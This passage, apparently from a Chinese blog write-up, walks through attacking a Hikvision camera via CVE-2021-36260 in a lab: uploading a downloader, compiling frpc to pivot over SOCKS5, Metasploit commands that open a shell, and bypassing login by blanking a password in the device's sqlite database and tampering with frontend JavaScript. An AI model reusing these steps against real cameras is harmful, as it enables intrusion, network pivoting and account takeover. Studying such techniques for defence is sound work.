3) 编译下载器
去除符号信息后 5.2K
5. 尝试远程下载代理程序
这次争取不用 SSH ，完全用 RCE 漏洞
修改 frpc.toml
serverAddr = "192.168.1.125"
serverPort = 7000
[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 1080
[proxies.plugin]
type = "socks5"
将 frpc 和 frpc.toml 打包，重命名为 a
配置 FRP 监听
bindPort = 7000
通过 PoC 上传下载器，并搭建 HTTP 服务器
等一会儿，等它传输完
下载器会将文件下载至你执行下载器的文件夹下，而不是下载器本身所在的文件夹下
6. 尝试建立 socks5 代理
解压 frpc，也就是 payload 文件
在这千钧一发之际，果然，这个摄像头系统又崩了，看来性能实在堪忧，当然这是对于我们额外的需求来说
重复测试
再次崩溃，但这根本难不倒我，我们将 frpc 和 frpc.toml 分别命名为 a ，之后下载两次
万事俱备，可以开始建立代理了
没有代理建立成功，通过ssh上去执行一下看看
校验一下 Hash
看来这 frp 的 arm 版与这个并不兼容
7. 编译 frpc
搭建 GO 环境
https://go.dev/doc/install
wget https://dl.google.com/go/go1.22.1.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
拉取 frp 源代码
git clone https://github.com/fatedier/frp.git
静态编译 frpc
export GOARCH=arm
export GOARM=5 # 对应ARMv5架构
export CGO_ENABLED=1
export CC=/home/join/download/buildroot-2024.02/output/host/bin/arm-linux-gcc
export CXX=/home/join/download/buildroot-2024.02/output/host/bin/arm-linux-g++
go env -w GOPROXY=https://goproxy.cn,direct
go build -ldflags '-extldflags "-static" -s -w' -tags netgo -o frpc_arm_v5 cmd/frpc/*.go
这里环境变量 CC 和 CXX 分别对应我们用 buildroot 生成的 gcc 以及 g++
8. 建立代理
VPS (192.168.1.125)
./frps -c frps.toml
受害摄像头
上传下载器 -> 下载 frpc -> 下载 frpc.toml -> 建立代理
执行 frpc -c frpc.toml
成功获取到代理
9. 使用代理访问受限网络
成功访问到 192.168.1.126
0x05 Metasploit
其实 Metasploit 中自带了 CVE-2021-36260 的 Payload，攻击起来异常便利
search CVE-2021-36260
填写部分信息
set rhost 192.168.1.64
set lhost 192.168.1.125
show targets
set target Linux Dropper
exploit
看起来和我们之前的 echo 操作是一样的
成功获取到 shell
从 192.168.1.125 访问 192.168.1.126 是访问不通的
添加路由
因为本身 VPS 就处于 192.168.1.0 这个段了，这样我们就直接添加一个到 192.168.1.126 的路由
route add 192.168.1.126 255.255.255.255 192.168.1.64
配置 socks5 代理，监听 1080 端口
利用代理访问受限网络
0x06 登录 Web 后台
https://github.com/jorhelp/Ingram/discussions/9
根据上面链接，找到数据库位置 /devinfo/ipc_db ，是 sqlite3 数据库，可以使用 DB Broswer 打开，可以修改后覆盖原本的数据库，重启后生效
大家讨论出两种方案
-
命令行执行 resetParam清空管理员的密码，默认用户admin -
将已知账号密码(例如 user/userpass) 加密后的结果直接写入到用户密码所在的表
这两种情况看起来都能解决问题，但并不通用
第一种方法的 resetParam 并不见得在所有的情况下都有，或者说有，也不见得大家都能找到，找到了设备厂商也有可能设置了第二部校验；
第二种方法看似完美，但是前提是我们有已知的信息，如何获取信息可能是个问题，不能总是去买个设备或者找存在弱口令的设备
这两种方法都可以稍微再完善些，我提出一种较为通用的方案
1. 下载数据库并备份
2. 修改数据库
将 passwd 的值记录保存并置空
:b0:f:2c:fa:d9:a6:42:2f:c5:5c:78:26:1f:6f:f3:39
当然，我们是可以搜索到这个设备的默认管理员用户为 admin ，从格式上看，用户名和密码采用的编码方式是一样的，所以将密码设置为用户名应该也是可以的，但这种事并不通用，常见的是密码加密，用户名不加密，所以我们还是选择将密码置空
保存
3. 上传并覆盖原有数据库
覆盖后重启设备
4. 尝试登录
直接就让我们修改密码
成功登录后台
5. 新建用户
新建 user/user1234
尝试用新用户登录
此时新创建的用户权限并没有 admin 那么大
6. 再次修改数据库
复制 admin 的权限给 user ，恢复 admin 的密码
7. 权限测试
可以看到，已经是管理员权限了，但是添加、删除用户还不能用，是灰色的，猜测可能是前端问题
将 disabled="disabled" 删除掉
这回看看功能是否可用了
添加一个普通用户 demo
尝试使用 demo 登录
我们可以试试操作员 demo 会不会存在权限问题，创建账户测试
还好，没有这种基础性错误
尝试使用 admin 原来的密码进行登录，看看是否恢复成功
成功登录
8. 通用性延伸
在很多系统中，直接修改数据库并不是直接让用户修改密码的，而是需要使用空密码进行登录，其实在这个系统上除了 admin 用户，也是一样的，前期测试的时候没有直接对 admin 下手，所以就遇到更加通用的情况，接下来将演示将 user 的密码清空，之后登录后台
重启后尝试使用 user 账户登录
这才是常规情况，我们将密码置空了，但是系统不允许空密码登录，我们可以看一下是前端不让还是后端，抓包
看来是前端的限制，我们是不是可以直接抓包，修改呢？
密码是加密后的，我们尝试置空
会引发格式错误，获取新的 sessionID，之后直接删除掉 password 这个标签测试
还是格式错误，看来这并不是XML 的问题，而是接口规定了格式
没关系，前端问题的话，就从前端解决吧，正好之前给大家介绍过 javascript 逆向，这就当练习了
复制请求的 URL
http://192.168.1.64/ISAPI/Security/sessionLogin
添加 xhr 断点
使用 user 账户加任意密码，以 1234 为例，登录
可以看到，断点在图中箭头位置，控制台输出一下 b.hasContent 和b.data
可以看到到这里已经是加密后的数据了，从断点处根据调用堆栈向前找明文密码在哪里
可以一点一点向前追溯
可以看到在这个 doLogin 处出现了我们的明文密码 1234 ，我们在此添加断点
释放 debug ，再次提交 user/1234 ，网页在断点处停留
这里有个挺奇怪的一段话
"anonymous" === $scope.username && (a = "******")
没有理解这是要干什么，当然我是进行过登录尝试，没有成功，这里不是重点，我们在断点处修改变量 a 的值
释放断点，让程序继续执行
经过测试，这里的修改密码虽然有界面，但是并不会修改密码，所以我们直接选择取消
成功进入后台，我本以为 admin 账户也会经历这一段，没想到直接让重置密码了，所以这段主要是给大家做延伸性的展示
0x07 浏览数据库
在上一节我们使用了数据库覆盖实现某些功能，在翻数据库的过程中，发现了其他有趣的表
security_config
这里涉及到很多配置，例如 web_auth 、ssh_enable ，我想起了这个漏洞的发现者曾提到过禁用web 认证，不知道是不是通过这里，我测试后发现没有效果，可能是这个设备不支持吧
https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
但是在修改这些列的数据时，曾经触发过一次 Basic 认证，在 Basic 认证中可以直接使用 user 加上空密码进行登录，但是再次测试的时候就怎么也不出来了
socks_param
这个表不知道是系统本身可以开代理还是系统支持使用代理，我们尝试在后台看看有没有代理功能
并没有找到与 socks 相关的，所以这里要么是通用功能，只不过在这个小摄像头里没有，要么就是系统自带的代理功能，我们尝试修改数据库，看看能不能有意外惊喜
覆盖，重启
看来并不行，就到这里了
这下终于可以睡个好觉了...
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论